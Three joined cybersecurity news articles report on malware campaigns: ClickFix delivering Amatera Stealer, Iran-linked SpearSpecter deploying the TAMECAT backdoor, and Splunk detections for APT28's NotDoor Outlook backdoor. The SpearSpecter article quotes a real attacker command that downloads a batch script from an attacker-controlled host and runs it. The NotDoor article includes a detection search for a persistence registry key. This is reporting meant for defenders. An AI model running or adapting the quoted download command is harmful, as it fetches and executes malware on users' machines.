In November 2025, a new malware campaign emerged that combines social engineering tricks with advanced stealing tools.

The attack starts when criminals trick users into running commands through the Windows Run window, a technique known as ClickFix.

Once users follow these instructions, their computers become infected with Amatera Stealer, an advanced piece of malware designed to steal sensitive information from browsers, wallets, and password managers.

Shortly after the initial infection, the attackers deploy NetSupport RAT, giving them full remote access to the victim’s computer.

eSentire security analysts identified the malware after the second paragraph, noting that this campaign represents a significant evolution in how attackers combine multiple tools for maximum damage.

The attack chain works through carefully crafted social engineering. Attackers convince users to open the Run prompt and execute specific commands.

These commands trigger a series of hidden stages that eventually deliver Amatera Stealer to the victim’s machine. What makes this particularly dangerous is how the malware hides its true purpose.

It uses obfuscated PowerShell code that has been deliberately made difficult to read and understand. The malware employs a special trick involving XOR encryption with the string “AMSI_RESULT_NOT_DETECTED” to decrypt the next stage while confusing security researchers.

One of the most concerning aspects of this campaign involves the advanced evasion techniques used by Amatera Stealer. This malware was originally called ACR Stealer and was sold as a criminal service by a group called SheldIO.

Now rebranded as Amatera, the stealer uses WoW64 SysCalls to bypass common security tools like antivirus software and endpoint detection systems. This means even machines with strong security tools installed remain vulnerable.

The Infection Mechanism and Detection Evasion

The infection begins with a .NET-based downloader that retrieves and decrypts payloads using RC2 encryption from services like MediaFire.

This downloader is packed with Agile.net to make analysis harder for security teams. Once executed, it deploys a Pure Crypter-packed file that uses sophisticated process injection techniques.

The malware then disables AMSI (Anti-Malware Scan Interface) by overwriting the “AmsiScanBuffer” string in the system’s memory, effectively turning off Windows’ built-in security scanning for the rest of the attack.

Amatera communicates with its command servers using encrypted connections that bypass traditional security monitoring. It uses Windows APIs combined with WoW64 syscalls to encrypt all communications with AES-256-CBC, making traffic inspection nearly impossible.

The malware collects stolen data into zip files and sends them to criminal servers using these encrypted channels. Through its loader functionality, it can execute additional payloads selectively on valuable targets, such as computers containing cryptocurrency wallets or machines connected to business networks.

This selective approach helps attackers avoid wasting time on low-value targets and focus on organizations with real financial assets. The sophisticated nature of this campaign highlights why modern security requires multiple layers of protection.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post EVALUSION Campaign Using ClickFix Technique to deploy Amatera Stealer and NetSupport RAT appeared first on Cyber Security News.

A dangerous espionage campaign is targeting senior government and defense officials worldwide. Iranian hackers are using fake conference invitations and meeting requests to trick victims.

The attackers spend weeks building trust before striking. They reach out through WhatsApp to make their messages look legitimate.

This campaign, known as SpearSpecter, combines patience with powerful malware to steal sensitive information.

The attackers work for Iran’s Islamic Revolutionary Guard Corps Intelligence Organization. They operate under several names including APT42, Mint Sandstorm, Educated Manticore, and CharmingCypress.

Their main goal is stealing sensitive information from people with access to government secrets. What makes this group dangerous is how they adapt their methods and use both credential theft and long-term spying tools.

Israel National Digital Agency security researchers identified the malware and uncovered the operation scope. The campaign has been running for months with no signs of stopping.

The attackers target both officials and family members to increase pressure and find new entry points.

Advanced Infection Through WebDAV and PowerShell

The infection starts when victims receive a link claiming to be an important document for a meeting. When clicked, the link redirects to a file on OneDrive.

Attackers abuse the Windows search-ms protocol to trigger a popup asking users to open Windows Explorer. If victims accept, their computer connects to the attacker’s WebDAV server.

The WebDAV server displays what looks like a PDF file, but it’s actually a malicious shortcut. When opened, this shortcut runs hidden commands that download a batch script from Cloudflare Workers using the following command:-

cmd / c curl --ssl-no-revoke -o vgh.txt hxxps://line.completely.workers.dev/aoh5 & rename vgh.txt temp.bat & %tmp%

The script loads TAMECAT, a sophisticated PowerShell-based backdoor that operates entirely in memory. TAMECAT uses AES-256 encryption to communicate with command servers through multiple channels including web traffic, Telegram, and Discord.

TAMECAT collects browser passwords by launching Microsoft Edge with remote debugging and suspending Chrome processes. It captures screenshots every fifteen seconds and searches for documents. All stolen data gets split into five megabyte chunks and uploaded.

To survive restarts, TAMECAT creates registry entries that run batch files at login. The malware avoids detection by using trusted Windows programs. Researchers found attackers using Cloudflare Workers for command infrastructure.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Iranian SpearSpecter Attacking High-Value Officials Using Personalized Social Engineering Tactics appeared first on Cyber Security News.

Outlook NotDoor backdoor malware first appeared in threat campaigns identified by Lab52, the intelligence arm of Spanish firm S2 Grupo.

Linked to APT28/Fancy Bear, NotDoor leverages malicious Outlook macros for persistent access and data theft. Attackers embed these macro payloads within Outlook’s data files to monitor incoming emails and trigger hidden code on infected systems.

This has enabled advanced persistent threat groups to quietly exfiltrate files, execute commands, and maintain stealthy control by abusing a trusted application.

Initial compromise often begins with DLL sideloading. Threat actors place a maliciously crafted SSPICLI.dll next to the legitimate OneDrive.exe, exploiting how Windows prioritizes loading DLLs.

The fake DLL allows the actor to execute commands and stage malware components without raising alarms.

Infection artifacts include multiple files: a real OneDrive.exe, SSPICLI.dll (malicious), tmp7E9C.dll (renamed legitimate DLL), and testtemp.ini containing the VBA macro. These details are crucial for defenders tracking suspicious file events and Registry modifications.

Splunk security researchers were among the first to thoroughly analyze NotDoor. Their deep dive revealed encoded PowerShell commands launched by OneDrive.exe and how the malware quietly creates TEMP directories for dropped artifacts.

The detection guide by Splunk helps defenders recognize rogue processes spawning PowerShell, network calls, and registry changes that activate macro auto-loading, disable security prompts, or allow all macros without warning.

This research provides valuable blueprints for building reliable detection.

Outlook Macro Persistence and Obfuscation

A key NotDoor technique involves copying the macro-laden testtemp.ini file to Outlook’s VBAProject.OTM location within the user’s Roaming directory.

This file holds all custom automation and email-handling macros for Outlook. Under normal circumstances, only Outlook should write here, so any outside process (such as malware) is highly suspicious.

The macro backdoor sets up C2 communications: it can receive and execute attacker instructions via email triggers, and quietly send data back out.

It relies on obfuscation, randomized variable names, and custom encoding to slip past simple scans. Splunk researchers pinpointed registry modifications as pivotal for persistence.

The malware changes settings to automatically load the malicious macro at startup (LoadMacroProviderOnBoot) and lowers Outlook’s macro security level to let all macros execute, suppressing security dialogs.

The following code snippet shows a common Splunk detection search for registry changes:-

 tstats security_contents_summaries_only count FROM datamodelEndpoint.Registry WHERE Registry.registrypath=HKCU\\Software\\Microsoft\\Office\\Outlook\\Security\\LoadMacroProviderOnBoot Registry.registryvaluedata=0x00000001

Defenders can follow these Splunk detection models to catch NotDoor malware, watching for macro file events and registry modifications that signal infection and persistence.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Researchers Detailed Techniques to Detect Outlook NotDoor Backdoor Malware appeared first on Cyber Security News.